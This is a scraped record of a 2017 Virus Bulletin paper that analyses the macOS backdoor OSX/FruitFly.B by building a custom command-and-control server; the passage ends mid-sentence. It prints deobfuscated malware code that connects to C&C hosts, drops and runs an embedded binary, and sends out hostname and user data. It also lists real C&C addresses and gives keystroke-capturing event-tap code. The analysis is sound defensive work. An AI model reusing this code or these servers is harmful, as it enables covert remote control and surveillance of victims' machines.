{
	"id": "77bd5049-55dc-43da-a85e-82453e7c73d1",
	"created_at": "2026-04-06T00:18:05.815945Z",
	"updated_at": "2026-04-10T03:22:00.188613Z",
	"deleted_at": null,
	"sha1_hash": "008f016348d210becf90177f0a3d195c1c01b1af",
	"title": "dissecting OSX/FruitFly.B via a custom C\u0026C server",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3028383,
	"plain_text": "dissecting OSX/FruitFly.B via a custom C\u0026C server\r\nArchived: 2026-04-05 16:48:45 UTC\r\nVB2017 paper: Offensive malware analysis: dissecting OSX/FruitFly.B via a custom C\u0026C\r\nserver\r\nPatrick Wardle\r\nSynack, USA\r\nCopyright © 2017 Virus Bulletin\r\nAbstract\r\nCreating a custom command-and-control (C\u0026C) server for someone else's malware has a myriad of benefits. If you can take\r\nover a domain, you may then be able to fully hijack other hackers' infected hosts. A more prosaic benefit is expediting\r\nanalysis. While hackers and governments may be more interested in the former, as responsible malware analysts, we'll focus\r\non the latter.\r\nFruitFly, the first OS X/macOS malware of 2017, is a rather intriguing specimen. Selectively targeting biomedical research\r\ninstitutions, it is thought to have flown under the radar for many years. In this paper we'll begin by analysing the malware's\r\ndropper, an obfuscated Perl script. As this language is rather archaic and uncommon in malware droppers, we'll discuss some\r\ndebugging techniques and fully deconstruct the script. We'll then dive into analysing the 'B' variant of FruitFly which, even\r\nnow, is only detected by a handful of security products. However, instead of fully reversing the sample, the paper will focus\r\non an initial triage and show how this was sufficient for the creation of a custom C\u0026C server. With such a server, we can\r\neasily coerce the malware to reveal its full capabilities. For example, the malware invokes a handful of low-level mouse and\r\ngraphics APIs, passing in a variety of dynamic parameters. Instead of spending hours reversing and debugging this complex\r\ncode, via the C\u0026C server, we can simply send it various commands and observe the effects. Of course, this approach hinges\r\non the ability to closely observe the malware's actions. As such, we'll discuss macOS-specific tools that can monitor various\r\nevents, and where necessary detail the creation of custom ones (e.g. a 'mouse sniffer' that observes locally and decodes\r\ncommands sent from the malware to the OS, in order to control the mouse). While some of this paper is FruitFly and/or\r\nmacOS‑specific, conceptually it should apply broadly to analysing other malware, even on other operating systems.\r\nIntroduction\r\nIt's no secret that comprehensively analysing a piece of malware is a time-consuming process. Traditionally, a malware\r\nanalyst will pull apart a sample via a hybrid approach that combines static and dynamic analysis via tools such a\r\ndisassemblers and debuggers. And while this approach can (eventually) uncover a malware's capabilities, the process may be\r\nrather complicated and inefficient. This is especially true if the malicious code responsible for processing commands cannot\r\nbe triggered – for example if the malware's command and control (C\u0026C) server has been taken offline.\r\nIn this research paper, we'll show that instead of performing analysis solely via more 'traditional' means, one may be able to\r\ntake a more efficient route. By focusing reversing efforts on the malware's code related to its protocol, we will be able to\r\ncreate a custom (albeit basic) C\u0026C server. Armed with such a server we'll show that the malware can be coerced into\r\nrevealing its full capabilities, simply by asking the right 'questions'.\r\nSpecifically by tasking the malware from the custom C\u0026C server and then closely observing what action is performed in\r\nresponse to the command (even if one isn't sure what the commands does), the malware's capabilities can efficiently and\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 1 of 52\n\neasily be ascertained. In this paper, we'll utilize a custom C\u0026C server to fully analyse an interesting piece of macOS\r\nmalware, OSX/FruitFly.B. As this malware speaks a fairly basic protocol, yet supports a myriad of integer-based commands,\r\nit's the perfect sample for a case study of this effective analysis technique.\r\nThe remainder of the paper is organized as follows: First, we'll provide a high-level triage of OSX/FruitFly.B, which will\r\ngive us enough of an understanding to create a simple C\u0026C server. Before discussing the creation of this server, though,\r\nwe'll detail various macOS-specific tools and utilities that (once our C\u0026C server is operational) will allow us to monitor the\r\nmalware closely, yet passively, as it responds to our tasking. In the next section we'll detail the creation of the custom C\u0026C\r\nserver that allows the malware to be controlled. Finally, we'll illustrate how this C\u0026C server can then be used to task the\r\nmalware, coercing it into fully exposing its capabilities.\r\nThe end result? A complete and comprehensive understanding of the malware!\r\nDiscovered when an IT administrator 'spotted some strange outgoing network traffic from a particular Mac' [1],\r\nOSX/FruitFly (also known as OSX/Quimitchin) was the first macOS malware discovered in 2017. The discovery was aided\r\nby MalwareBytes (specifically, researcher Thomas Reed), who detailed the capabilities of this threat in a blog post entitled\r\n'New Mac backdoor using antiquated code' [1].\r\nIn this paper, besides illustrating how to analyse malware via a custom C\u0026C server, our goal was to provide the first\r\ncomprehensive technical analysis of OSX/FruitFly, variant 'B' (SHA-256:\r\nbefa9bfe488244c64db096522b4fad73fc01ea8c4cd0323f1cbdee81ba008271).\r\nThough relatively closely related to the original variant,\r\nOSX/FruitFly.B only appeared (on VirusTotal [2]) weeks later. Interestingly, at the time of submission none of the anti-virus\r\nengines on VirusTotal detected it as malicious (see Figure 1).\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 2 of 52\n\nFigure 1: FruitFly.B submission history on VirusTotal [2].\r\nLuckily, tools that alert generically on behaviours such as persistence should be able to protect the user. For example,\r\nBlockBlock (written by the author) aims to generate an alert whenever a new launch agent (such as OSX/FruitFly.A/.B) is\r\ninstalled (see Figure 2).\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 3 of 52\n\nFigure\r\n2: BlockBlock in action [3].\r\nAs previously mentioned, instead of performing analysis of OSX/FruitFly.B solely via disassemblers and debuggers we aim\r\nto take a more efficient approach by utilizing a custom C\u0026C server.\r\nIn order to create a C\u0026C server that is able to task the malware, we first need to perform some cursory analysis of the\r\nmalware. Our goals for this initial 'high-level' analysis are not to understand the full capabilities of the malware but rather to:\r\n1. Determine the address(es) of the malware's command‑and‑control (C\u0026C) server(s).\r\n2. Understand the protocol that the malware expects the C\u0026C to speak.\r\nTechnical triage\r\nThough OSX/FruitFly.B's initial infection vector remains unknown, we do know that it is installed persistently. The original\r\nvariant of the malware (OSX/FruitFly.A) creates a property list (.plist) file, com.client.client.plist, in the user's LaunchAgent\r\ndirectory [1] (see Figure 3).\r\nFigure 3: OSX/FruitFly.A's persistent launch agent .plist.\r\nAs detailed both by Apple [4] and in our previous research (presented at VB2014 [5]), creating a launch agent with the\r\nRunAtLoad key set to true instructs the operating system to automatically execute whatever is specified in the\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 4 of 52\n\nProgramArguments array. In OSX/FruitFly.A's com.client.client.plist, one can see that this value is set to execute something\r\nnamed '.client' from the users's home directory.\r\nThough registering as a launch agent is neither a novel nor stealthy method of persistence, it will ensure that\r\nOSX/FruitFly is started automatically every time the infected host is rebooted.\r\nDue to the myriad of similarities between OSX/FruitFly.A and OSX/FruitFly.B, although the persistence mechanism for\r\nvariant 'B' remains unknown, its very likely also to persist as a launch agent. However, one known difference between the\r\nmalware variants is the name of the persistent component. OSX/FruitFly.A persists an item named '.client' while\r\nOSX/FruitFly.B appears to use the name 'fpsaud'.\r\nFigure 4: 'In-the-wild' filename: fpsaud [2].\r\nRegardless of the variant, interestingly the persistent component of the malware is a Perl script.\r\nFigure 5: File type identification of the malware's persistent component.\r\nTaking a closer look at OSX/FruitFly.B's persistent component, fpsaud, we can see that it has been obfuscated, probably in\r\nan attempt to thwart or complicate analysis.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 5 of 52\n\nFigure 6: Script obfuscation.\r\nHowever the obfuscation is scheme is rather weak: the code is simply 'minimized' and the descriptive names for all variables\r\nand subroutines have been replaced with meaningless single-letter ones.\r\nFirst, let's 'unminimize' the script. While this can be done manually, it's far simpler to utilize an online Perl 'beautifier' [6].\r\nThe output of the 'deminimization' or 'beautification' process produces a more pleasingly formatted version of the script\r\n(though the names of variables and subroutines, of course, remain nonsensical).\r\nFigure 7: Deobfuscated Perl script.\r\nNote: the remainder of this paper will reference the deobfuscated script, showing relevant code snippets as needed. When\r\nsuch snippets are shown, comments have often been added (by us) to further clarify the code. The malicious Perl script did\r\nnot contain any comments.\r\nThe script begins with various 'use' statements (which import 'semantics' from a named module into the current script),\r\nwhich provides some high-level insight into its functionality. For example, 'use IO::Socket' indicates that the script likely\r\ncontains networking logic, while 'use IPC::Open2' implies that the malware likely interacts with (child?) processes.\r\nFollowing the 'use' statements are various helper subroutines. These perform basic tasks such as reading and writing data to\r\nthe socket associated with the C\u0026C server connection, as shown in Listing 1.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 6 of 52\n\n#connect to C\u0026C\r\n$l = new IO::Socket::INET(\r\n PeerAddr =\u003e scalar( reverse $g ),\r\n PeerPort =\u003e $h,\r\n Proto =\u003e 'tcp',\r\n Timeout =\u003e 10\r\n );\r\n#send data to C\u0026C\r\nsub G\r\n{\r\n die if !defined syswrite $l, $_[0]\r\n}\r\nListing 1: Subroutine 'G'.\r\nOther subroutines deal with actions such as reading and writing to files:\r\n#write data to a file\r\nsub S {\r\n open F, '\u003e', $_[0] or return undef;\r\n binmode F;\r\n print F $_[1] or return undef;\r\n close F;\r\n return 1;\r\n}\r\nListing 2: Subroutine 'S'.\r\nPerhaps the most interesting subroutine, though, is 'V':\r\n#write out embedded binary (via 'S')\r\n# then exec it, then write passed in arg to proc's stdin\r\nsub V {\r\n alarm 30;\r\n if ( !$P ) {\r\n alarm 120;\r\n return undef if !$u || !S( $M, $u );\r\n chmod 0777, $M;\r\n $P = open2( $H, $Q, $b );\r\n if ( !$O ) { sleep 1; unlink $M }\r\n }\r\n return undef if !$P;\r\n return 1 if defined syswrite $Q, $_[0];\r\n return R();\r\n}\r\nListing 3: Subroutine 'V'.\r\nSubroutine 'V' writes out a stream of embedded data ($u) before executing it via open2(). It then writes a passed in\r\nparameter ($_[0]) to the new process's stdin ($Q). This embedded data (which turns out to be an encoded machO binary)\r\nwill be discussed shortly.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 7 of 52\n\nNote that all subroutines were fully analysed and are documented in Appendix A.\r\nFollowing the helper subroutines the script continues by declaring and assigning values to various variables. For example\r\nencoded strings:\r\nmy ( $h, @r ) = split /a/,\r\nM('11b36-301-;;2-45bdql-lwslk-hgjfbdql-pmgh'vg-hgjf');\r\nListing 4: Encoded strings.\r\n'M' is a helper subroutine that decodes a string via XOR (key: 0x3). In order to determine the values of $h and @r we can\r\ndecode the string manually. This is easy enough to do in Python (see Figure 8) – or we can use Perl's built-in debugger to\r\nobserve the malware decoding the strings itself.\r\nFigure 8: Decoding strings via Python.\r\nSuccinctly documented in man perldebug, the Perl debugger provides a simple way to analyse Perl scripts dynamically.\r\nFigure 9: Perl debugger's man page.\r\nTable 1 documents some common Perl debugger commands that were useful when analysing the malicious Perl script.\r\nCommand Description\r\n-d \u003cscript.pl\u003e Start a script under the debugger\r\nR Restart\r\nn Single step (over subroutines)\r\ns Single step (into subroutines)\r\np \u003cvariable\u003e Display value of a variable\r\n. Display the current line/instruction\r\nl \u003cline #\u003e Display code at line number\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 8 of 52\n\nb \u003cline #\u003e Set a breakpoint on line number\r\nB \u003cline #\u003e Remove the breakpoint on line number\r\nL List breakpoints\r\nT Display 'stack'/caller backtrace\r\nTable 1: Common Perl debugging commands.\r\nTo start a debugging OSX/FruitFly.B's malicious Perl script, simply execute $ perl -d fpsaud.\r\nAlthough one can use the 'b \u003cline #\u003e' debugger command to set a breakpoint on a line of code, since the code which\r\ndeobfuscates the string (11b36-301-;;2-45bdql-lwslkhgjfbdql-pmgh'vg-hgjf) is near the start of script, it is simpler just to\r\nbegin single-stepping via the 'n' debugger command.\r\nFigure 10: Single stepping.\r\nStepping over the decoding subroutine ('M') via the 'n' debugger command allows us then to print the vales of the $h and @r\r\nvariables via the 'p' debugger command.\r\nFigure 11: Decoded strings via Perl's debugger.\r\nLooking ahead in the script for a moment, it is apparent that $h is the port on which the command-and-control server is\r\nlistening (port 22), while the values in the array @r are the addresses of the command-and-control servers, albeit reversed,\r\nas shown in Listing 5.\r\nManually reversing the three values in the @r array provides us with the addresses of the malware's primary C\u0026C servers:\r\n1. 05.032.881.76 -\u003e 67.188.230.50\r\n2. gro.otpoh.kdie -\u003e eidk.hopto.org\r\n3. gro.sndkcud.kdie -\u003e eidk.duckdns.org\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 9 of 52\n\n#grab value (C\u0026C address) from @r\r\n$g = shift @r; push @r, $g;\r\n#connect to C\u0026C server\r\n# $g: reversed C\u0026C address\r\n# $h: C\u0026C port\r\n$l = new IO::Socket::INET(\r\n PeerAddr =\u003e scalar( reverse $g ),\r\n PeerPort =\u003e $h,\r\n Proto =\u003e 'tcp',\r\n Timeout =\u003e 10\r\n);\r\nListing 5: Connecting to C\u0026C server.\r\nNext, the script generates a 'backup' list of C\u0026C servers:\r\n#generate list of backup C\u0026C servers\r\nfor my $B ( split /a/, M('1fg7kkb1nnhokb71jrmkb;rm';kb1fplifeb1njgule') )\r\n{\r\n push @e, map $_ . $B, split /a/, M('dql-lwslk-bdql-pmgh'vg-');\r\n}\r\nListing 6: List of backup C\u0026C servers.\r\nAfter stepping over this loop, we can print out (and again, reverse), the values in the array @e. Due to the fact that the\r\naddresses of these C\u0026C servers are currently available for registration, they have been obfuscated:\r\nServer address\r\nhxxxxx.hopto.org\r\nhxxxxx.duckdns.org\r\nhxxxxx.hopto.org\r\nhxxxxx.duckdns.org\r\nhxxxxx.hopto.org\r\nhxxxxx.duckdns.org\r\nhxxxxx.hopto.org\r\nhxxxxx.duckdns.org\r\nfxxxxxx.hopto.org\r\nfxxxxxx.duckdns.org\r\nfxxxxxx.hopto.org\r\nfxxxxxx.duckdns.org\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 10 of 52\n\nTable 2: Backup C\u0026C servers.\r\nFollowing the generation of the C\u0026C server addresses the malicious script checks to see if it was executed with any\r\ncommand line arguments:\r\n#save port, or addr:port\r\nif ( @ARGV == 1 ) {\r\n if ( $ARGV[0] =~ /^\\d+$/ ) { $h = $ARGV[0] }\r\n elsif ( $ARGV[0] =~ /^([^:]+):(\\d+)$/ ) {\r\n ( $h, @r ) = ( $2, scalar reverse $1 );\r\n }\r\n}\r\nListing 7: Command line arguments check.\r\nIf a single argument is provided and is a number, it is saved into the $h variable. If the command-line argument adheres to\r\nthe format: 'string:number' the script will parse it to extract the string into @r and the numeric value into $h. As previously\r\nmentioned, $h is the port which the malware uses to connect to the C\u0026C server, while @r is an array of C\u0026C servers. As\r\nsuch, this chunk of code allows one to pass in an address/port of a C\u0026C server that the malware will connect to. When\r\ncreating a custom C\u0026C server, being able to specify the address of the server via the command line is a rather helpful\r\ncapability!\r\nNext, the script executes the following:\r\n# 'change' process name\r\n$0 = 'java';\r\nListing 8: Basic 'process hiding'.\r\nThis sets the process name to java, which can 'trick' tools such as ps. It's nothing fancy, but it's neat to see some basic stealth\r\ntechniques.\r\nFigure 12: 'Process hiding' (before and after).\r\nNext, OSX/FruitFly.B decodes a large chunk of data that turns out to be an embedded machO executable:\r\n#decode embedded binary data\r\nmy $u = join '', \u003cDATA\u003e;\r\nmy $W = pack 'H*', 'b02607441aa086';\r\n$W x= 1 + length($u) / length($W);\r\n$u ^= substr $W, 0, length $u;\r\n$u =~ s/\\0(.)/v0 x(1+ord$1)/seg;\r\nListing 9: Decoding embedded binary data.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 11 of 52\n\nFirst, binary data (referenced by \u003cDATA\u003e) is assigned to $u. The binary data can be found at the end of a malicious Perl\r\nscript, immediately following __DATA__:\r\n#encoded binary data\r\n__DATA__\r\n‹Í∫†á±%Eö¢Ü≤\"F˙°Ü±£B†Ñ¯\u0026E\r\n«˜c]HÔÜ†÷g†Ñ(\u0026EÙ√ËrHÍ†ÇÄ\u0026 t•Å∞$D°Ü∂yX0ÿÚ∞/\r\nXNÂfi‰\u0026π†Ü@\u0026G=†ÉM.J†Ü0\u0026...\r\nListing 10: Embedded binary data.\r\nThe script first XOR decodes this binary data with the key b02607441aa086 and then decompresses it via the regex:\r\ns/\\0(.)/v0 x(1+ord$1)/seg. If we modify the malicious Perl script to save the decoded data to disk and then dump it in a hex\r\neditor we observe values such as 4f 00 10:\r\nFigure 13: Hexdump of decoded (yet still compressed) data.\r\nAfter being decompressed, that same data has been converted into 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00, as\r\nshown in Figure 14.\r\nFigure 14: Hexdump of decoded \u0026 decompressed data.\r\nThis illustrates that the binary data is compressed via a basic 'run length' encoding scheme. The regex (s/\\0(.)/v0\r\nx(1+ord$1)/seg) is what performs the decompression.\r\nMoving on, the script decodes a string, '/tmp/client', into the variables $M and $b:\r\n#decode '/tmp/client'\r\nmy $M = M(',wns,'ojfmw');\r\nmy $b = M(',wns,'ojfmw');\r\nListing 11: Encoded file path for embedded binary data.\r\nThe previously mentioned 'V' subroutine uses the $M variable as the file path when saving the embedded binary data ($u) to\r\ndisk.\r\nNext, the script sets a flag based on whether or not it is executing on macOS:\r\n#am I on macOS?\r\nmy $z = $^O eq 'darwin';\r\nListing 12: OS detection.\r\nIn Perl, 'the $^O variable ... will contain the name of the operating system' [7].\r\nDuring MalwareBytes' analysis of OSX/FruitFly.A, the researchers attempted to run it on Linux, noting success: 'We found\r\nthat – with the exception of the Mach-O binary – everything ran just fine' [1].\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 12 of 52\n\nFinally, the script enters its main processing loop where it:\r\n1. attempts to connect to one of its C\u0026C servers\r\n2. processes tasking (commands) from the C\u0026C server.\r\nTo select a C\u0026C server, the malware grabs a random server from either the @r or @e array, based on the modulus of the\r\ncount of connection attempts:\r\n#select C\u0026C server\r\n$n++;\r\nmy $c = $n % 10;\r\nif ($c) { $g = shift @r; push @r, $g; }\r\nelse { $g = shift @e; push @e, $g; }\r\nListing 13: C\u0026C server address selection.\r\nIt then attempts to connect to the selected C\u0026C server:\r\n#select C\u0026C server\r\n$l = new IO::Socket::INET(\r\n PeerAddr =\u003e scalar( reverse $g ),\r\n PeerPort =\u003e $h,\r\n Proto =\u003e 'tcp',\r\n Timeout =\u003e 10\r\n);\r\nListing 14: Connecting to selected C\u0026C server.\r\nAssuming the connection to the C\u0026C server is successful, the malware first sends some basic information (via the 'G'\r\nsubroutine) before it processes any tasking:\r\n#send client info to C\u0026C server\r\nG v1\r\n . Y(1143)\r\n . Y( $q ? 128 : 0 )\r\n . Z( ( $z ? I('scutil --get LocalHostName') : '' ) || I('hostname') )\r\n . Z( I('whoami') );\r\nListing 15: Sending basic client information to C\u0026C server.\r\nIt then enters a second loop to process commands (tasking) from the C\u0026C server. Specifically, it invokes the 'J' subroutine to\r\nread the command. Commands are single-byte integer values received from the C\u0026C server. Once the command is received\r\nthe malware selects the appropriate block of code to process it, via a rather large if/elsif block:\r\n#read \u0026 process command from C\u0026C server\r\nfor ( ; ; ) {\r\n my $D = ord J 1;\r\n if ( $D == 0 ) { }\r\n elsif ( $D == 2 ) {\r\n my ( $Z, $C ) = ( J 1 );\r\n ...\r\n }\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 13 of 52\n\nelsif ( $D == 14 )\r\n {\r\n G v14 . K( !system N . ' \u0026' )\r\n }\r\n elsif ( $D == 47 ) {\r\n ...\r\n }\r\n}\r\nListing 16: Command processing loop.\r\nClearly, this is the core of the malware that receives and acts upon tasking from the C\u0026C server.\r\nAt this point our initial analysis has provided enough information to achieve our aforementioned goals and prerequisites to\r\nbegin creating a custom C\u0026C server:\r\n1. Determine the address(es) of the C\u0026C server(s).\r\n2. Understand the protocol that the malware expects the C\u0026C to speak.\r\nSpecifically, we have a list of C\u0026C servers to which the malware will attempt to connect. And while it would be fairly easy\r\nto modify the malware's environment so that it would instead connect to our custom C\u0026C server (e.g. by modifying\r\n/etc/hosts or by setting up our own DNS server), we have also uncovered that fact that the malware accepts an arbitrary\r\nC\u0026C passed in via the command line. Thus we can simply specify the address of our custom C\u0026C server as a command‑line\r\nparameter:\r\nFigure 15: C\u0026C server address via the command line.\r\nOur analysis has also provided us with a basic understanding of the malware's protocol.\r\nSpecifically, once the malware connects to a C\u0026C server it:\r\n1. Sends some basic information about the infected host.\r\n2. Reads and processes single-byte integer commands from the C\u0026C server.\r\nOf course, we don't currently know what each command does, or what is the purpose of the embedded machO binary.\r\nHowever, once our custom C\u0026C server is up and running, these won't remain unknowns!\r\nWatching all things\r\nIn order to effectively create and utilize a custom C\u0026C server for analytical purposes, one must be able to closely monitor\r\nhow the malware reacts to tasking. Thus, in this section of the paper we'll briefly discuss several macOS‑specific monitoring\r\ntools and utilities. These were essential both while building the custom C\u0026C and while using this server to send the malware\r\nvarious commands. In the case of the latter, these tools provided the ability to passively determine the malware's full\r\ncapabilities as it responded to our tasking.\r\nSince macOS is somewhat lacking in terms of open-source monitoring tools, several custom utilizes were created\r\nspecifically for this research. These will be made available, open-sourced, online.\r\nNetwork monitoring\r\nOn macOS there are several well-known network monitoring tools, such as tcpdump (/usr/sbin/tcpdump) and Wireshark.\r\nThese tools were used initially to determine the primary address(es) of the C\u0026C server(s) of the malware.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 14 of 52\n\nFor example, we can see that, when executed, OSX/FruitFly.B attempts to resolve one of its primary C\u0026C servers,\r\neidk.hopto.org.\r\nFigure 16: Network capture of DNS request for C\u0026C server.\r\nAs eidk.hopto.org currently resolves to 127.0.0.1 (localhost), it appears that the malware's original C\u0026C server has been\r\ntaken offline.\r\nWhen creating a custom C\u0026C server, network monitoring tools are also incredibly useful for decoding a malware's protocol.\r\nFor example, instructing a piece malware to execute an (unknown) command and then observing the data sent back to the\r\nC\u0026C server can often reveal the purpose of the command.\r\nFor example, OSX/FruitFly.B supports a command #13. Though we do not know what this command does (yet), we can task\r\nthe malware to execute it (by sending a '13' from our custom C\u0026C server) and observe the response, as shown in Figure 17.\r\nFigure 17: Network capture of command #13's response.\r\nFrom the network capture in Figure 17 one can see that the likely purpose of command #13 is to return the location on\r\nthe infected system where the malware is installed (e.g. ~/fspaud).This was determined without having to reverse the\r\nmalware's implementation of the actual command at all. Neat!\r\nFile monitoring\r\nEssentially, all malware interacts with the file system of its infected host. When analysing any malware sample it is quite\r\nlikely that it will generate some file I/O events. For example, if the malware exfiltrates data, this will generate file I/O read\r\nevents, while a command to download data from the C\u0026C server will trigger file I/O write events.\r\nOn macOS, Apple provides the fs_usage (/usr/bin/fs_usage) utility to monitor file system (fs) usage.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 15 of 52\n\nFigure 18: Man page for fs_usage.\r\nOne can execute fs_usage (as root), with the -w and -f filesystem command-line parameters to begin capturing file system\r\nevents. As this capture is global, it is wise to filter the output via grep.\r\nFor example, Figure 19 shows the (abridged) capture of file system events that are generated when we task OSX/FruitFly.B\r\nto execute command #2.\r\nFigure 19: File I/O triggered by command #2.\r\nThere will be more on this command later, but it's pretty easy to see in the output from fs_usage, the malware writing out a\r\nfile to /private/tmp/client, then at a later time deleting it.\r\nProcessing monitoring\r\nThe ability to monitor processes is essential when analysing a piece of malware, especially when one is utilizing a custom\r\nC\u0026C server to coerce the malware to reveal its full functionality. This is due the fact that malware often spawns system\r\nutilities to perform basic tasks, or may even contain other executable components that it will drop and execute in response to\r\ncertain commands.\r\nUnfortunately, in recent versions of macOS, dtrace (/usr/sbin/dtrace), which previously could be used to track process\r\ncreations, has been neutered by System Integrity Protection (SIP). Thus, unless one reboots into the Recovery OS and\r\ndisables SIP, dtrace is somewhat useless. Even Apple's dtrace scripts such as execsnoop fail, as shown in Figure 20.\r\nFigure 20: Dtrace 'broken' thanks to System Integrity Protection (SIP).\r\nLuckily, we have other options. While rather poorly documented, and previously vulnerable to a host of various exploitable\r\nkernel bugs [8, 9], the OpenBSM framework can be used to track the system-wide creation of processes from user-mode.\r\nAs we weren't aware of any open-source macOS process monitoring library implementations, one was created specifically\r\nfor this research. This library will be made available online, fully open-sourced.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 16 of 52\n\nUsing this new library, we can easily track the creation of processes. For example, Figure 21 shows the output of the tool\r\nwhen OSX/FruitFly.B is tasked by our custom C\u0026C server to execute command #11.\r\nFigure 21: Process event triggered by command #11.\r\nVia the process monitor, we can see that command #11 retrieves the path to the working directory by executing 'pwd'\r\n(/usr/local/bin/pwd). A quick peek at the network monitoring utilities shows that this path is then sent to the C\u0026C server, as\r\nthe command's response.\r\nMouse and keyboard monitor\r\nAdvanced malware sometimes manipulates the mouse or generates key presses to interact with GUI-based dialogs or pop-ups generated by security tools. Though quite rare in macOS malware, MalwareBytes' report on OSX/FruitFly.A [1]\r\nmentioned the malware's ability to generate simulated mouse and keyboard events.\r\nOn the website of Amit Singh's Mac OS X Internals book [10] lives some sample code for 'Receiving, Filtering, and\r\nModifying Mouse Events' and 'Receiving, Filtering, and Modifying Key Presses and Releases'. Written for OS X 10.4,\r\nsurprisingly these still work today and were the basis for a utility that we created to monitor both mouse and keyboard\r\nevents.\r\nAmit's code monitors for mouse movements and keyboard presses by creating an 'event tap' via the CGEventTapCreate API.\r\nListing 17 shows the event tap creation for mouse movements:\r\n//event mask for mouse moves\r\neventMask = (1 \u003c\u003c kCGEventMouseMoved);\r\n//create tap\r\n// -\u003epass in user callback\r\neventTap = CGEventTapCreate(\r\n kCGSessionEventTap, kCGHeadInsertEventTap,\r\n 0, eventMask, myCGEventCallback, NULL);\r\nListing 17: Creating an event tap for mouse movements.\r\nAs shown in the code snippet, the CGEventTapCreate function takes various parameters, which are documented by Apple's\r\nonline 'core graphics' API documentation [11].\r\nThe two parameters that should be 'customized' for events of interest are the event mask and the callback function [11]:\r\n1. CGEventMask eventsOfInterest:\r\nA bit mask that specifies the set of events to be observed.\r\n2. CGEventTapCallBack callback\r\nAn event tap callback function that you provide.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 17 of 52\n\nSo, simply specify the events you'd like to monitor (e.g. mouse movements) and provide a callback function. Once the 'event\r\ntap' for these events has been registered and enabled, whenever such an event occurs the OS will automatically invoke your\r\ncallback function.\r\nTo monitor for other mouse events (such as clicks, drags, etc.) as well as keyboard events, we extended Amit's code:\r\n//init event with mouse events \u0026 key presses\r\neventMask = CGEventMaskBit(kCGEventLeftMouseDown) |\r\n CGEventMaskBit(kCGEventLeftMouseUp) |\r\n CGEventMaskBit(kCGEventRightMouseDown) |\r\n CGEventMaskBit(kCGEventRightMouseUp) |\r\n CGEventMaskBit(kCGEventMouseMoved) |\r\n CGEventMaskBit(kCGEventLeftMouseDragged) |\r\n CGEventMaskBit(kCGEventRightMouseDragged) |\r\n CGEventMaskBit(kCGEventKeyDown) |\r\n CGEventMaskBit(kCGEventKeyUp);\r\n//create event tap\r\neventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0,\r\neventMask, eventCallback, NULL);\r\nListing 18: Creating an event tap for both mouse and keyboard events.\r\nOur callback simply displays the type of the event, then prints out the key press value for keyboard events and mouse\r\ncoordinates for mouse events, as shown in Listing 19.\r\n//callback for mouse/keyboard events\r\nCGEventRef eventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef\r\nevent, void *refcon)\r\n{\r\n ...\r\n //for key presses\r\n // -\u003edump extra info\r\n if( (kCGEventKeyDown == type) || (kCGEventKeyUp == type) )\r\n {\r\n //get code\r\n keycode = (CGKeyCode)CGEventGetIntegerValueField(event,\r\n kCGKeyboardEventKeycode);\r\n //dbg msg\r\n printf(\"keycode: %s\\n\\n\", keyCodeToString(keycode));\r\n }\r\n //for mouse\r\n // -\u003eprint location\r\n else\r\n {\r\n //get location\r\n location = CGEventGetLocation(event);\r\n //dbg msg\r\n printf(\"(x: %f, y: %f)\\n\\n\", location.x, location.y);\r\n }\r\n return event;\r\n}\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 18 of 52\n\nListing 19: Mouse/keyboard event callback function.\r\nTo test out this code, we execute it as root, then interact with the keyboard and mouse, as shown in Figure 22.\r\nFigure 22: Capturing keyboard ('abc') and mouse (left click) events.\r\nArmed with the ability to monitor network traffic, file I/O, process creations, and mouse and keyboard events, once a custom\r\nC\u0026C server has been created we'll be able to see exactly how the malware responds to our tasking. This in turn will allow us\r\nto 